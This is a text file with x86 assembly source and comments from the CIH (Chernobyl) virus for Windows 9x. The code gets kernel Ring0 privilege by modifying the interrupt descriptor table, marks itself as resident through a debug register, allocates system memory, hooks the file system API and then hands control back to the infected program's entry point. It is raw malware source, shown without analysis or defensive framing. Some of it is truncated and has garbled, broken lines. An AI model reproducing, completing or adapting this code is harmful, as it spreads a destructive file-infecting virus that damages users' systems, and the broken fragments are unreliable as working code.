cih1.3.txt

1. Create the Virus Program. * * 2. The Virus Modifies IDT to Get Ring0 Privilege.

                        xor     ebx, ebx                                         
                        xchg    eax, fs:[ebx]                                    
                                                                                 
                        call    @0                                               
@0:                                                                              
                        pop     ebx                                              
                                                                                 
                        lea     ecx, StopToRunVirusCode-@0[ebx]                  
                        push    ecx                                              
                                                                                 
                        push    eax                                              
                                                                                 
; *************************************                                          
; * Let's Modify                      *                                          
                                                                                 
                        pop     esi                                              
                                                                                 
; *************************************                                          
; * Generate Exception to Get Ring0   *                                          
; *************************************                                          
                                                                                 
                        int     HookExceptionNumber     ; GenerateException      
ReturnAddressOfEndException     =       $                                        
                                                                                 
; *************************************                                          
; * Merge All Virus Code Section      *                                          
; *************************************                                          
                                                                                 
                        push    esi                                              
                        mov     esi, eax                                         
                                                                                 
LoopOfMergeAllVirusCodeSection:                                                  
                                                                                 
                        mov     ecx, [eax-04h]                                   
                                                                                 
                        rep     movsb                                            
                                                                                 
                        sub     eax, 08h                                         
                                                                                 
                        mov     esi, [eax]                                       
                                                                                 
                        or      esi, esi                                         
                        jz      QuitLoopOfMergeAllVirusCodeSection ; ZF = 1      
                                                                                 
                        jmp     LoopOfMergeAllVirusCodeSection                   
                                                                                 
QuitLoopOfMergeAllVirusCodeSection:                                              
                                                                                 
                        pop     esi                                              
                                                                                 
; *************************************                                          
; * Generate Exception Again          *                                          
; *************************************                                          
                                                                                 
                        int     HookExceptionNumber     ; GenerateException Aga  
                                                                                 
                                                                                 
; *************************************                                          
; * Let's Restore                     *                                          
; * Structured Exception Handing      *                                          
; *************************************                                          
                                                                                 
ReadyRestoreSE:                                                                  
                        sti                                                      
                                                                                 
                        xor     ebx, ebx                                         
                                                                                 
                        jmp     RestoreSE                                        
                                                                                 
; *************************************                                          
; * When Exception Error Occurs,      *                                          
; * Our OS System should be in NT.    *                                          
; * So My Cute Virus will not         *                                          
; * Continue to Run, it Jmups to      *                                          
; * Original Application to Run.      *                                          
; *************************************                                          
                                                                                 
StopToRunVirusCode:                                                              
@1                      =       StopToRunVirusCode                               
                                                                                 
                        xor     ebx, ebx                                         
                        mov     eax, fs:[ebx]                                    
                        mov     esp, [eax]                                       
                                                                                 
RestoreSE:                                                                       
                        pop     dword ptr fs:[ebx]                               
                        pop     eax                                              
                                                                                 
; *************************************                                          
; * Return Original App to Execute    *                                          
; *************************************                                          
                                                                                 
                        pop     ebp                                              
                                                                                 
                        push    00401000h       ; Push Original                  
OriginalAddressOfEntryPoint     =       $-4     ; App Entry Point to Stack       
                                                                                 
                        ret     ; Return to Original App Entry Point             
                                                                                 
; *********************************************************                      
; *             Ring0 Virus Game Initial Program          *                      
; *********************************************************                      
                                                                                 
MyExceptionHook:                                                                 
@2                      =       MyExceptionHook                                  
                                                                                 
                        jz      InstallMyFileSystemApiHook                       
                                                                                 
; *************************************                                          
; * Do My Virus Exist in System !?    *                                          
; *************************************                                          
                                                                                 
                        mov     ecx, dr0                                         
                        jecxz   AllocateSystemMemoryPage                         
                                                                                 
                        add     dword ptr [esp], ReadyRestoreSE-ReturnAddressOf  
dException                                                                       
                                                                                 
; *************************************                                          
; * Return to Ring3 Initial Program   *                                          
; *************************************                                          
                                                                                 
ExitRing0Init:                                                                   
                        mov     [ebx-04h], bp   ;                                
                        shr     ebp, 16         ; Restore Exception              
                        mov     [ebx+02h], bp   ;                                
                                                                                 
                        iretd                                                    
                                                                                 
; *************************************                                          
; * Allocate SystemMemory Page to Use *                                          
; *************************************                                          
                                                                                 
AllocateSystemMemoryPage:                                                        
                                                                                 
                        mov     dr0, ebx        ; Set the Mark of My Virus Exis  
in System                                                                        
                                                                                 
                        push    00000000fh      ;                                
                        push    ecx             ;                                
                        push    0ffffffffh      ;                                
                        push    ecx             ;                                
                        push    ecx             ;                                
                        push    ecx             ;                                
                        push    000000001h      ;                                
                        push    000000002h      ;                                
                        int     20h             ; VMMCALL _PageAllocate          
_PageAllocate           =       $               ;                                
                        dd      00010053h       ; Use EAX, ECX, EDX, and flags   
                        add     esp, 08h*04h                                     
                                                                                 
                        xchg    edi, eax        ; EDI = SystemMemory Start Addr  
s                                                                                
                                                                                 
                        lea     eax, MyVirusStart-@2[esi]                        
                                                                                 
                        iretd   ; Return to Ring3 Initial Program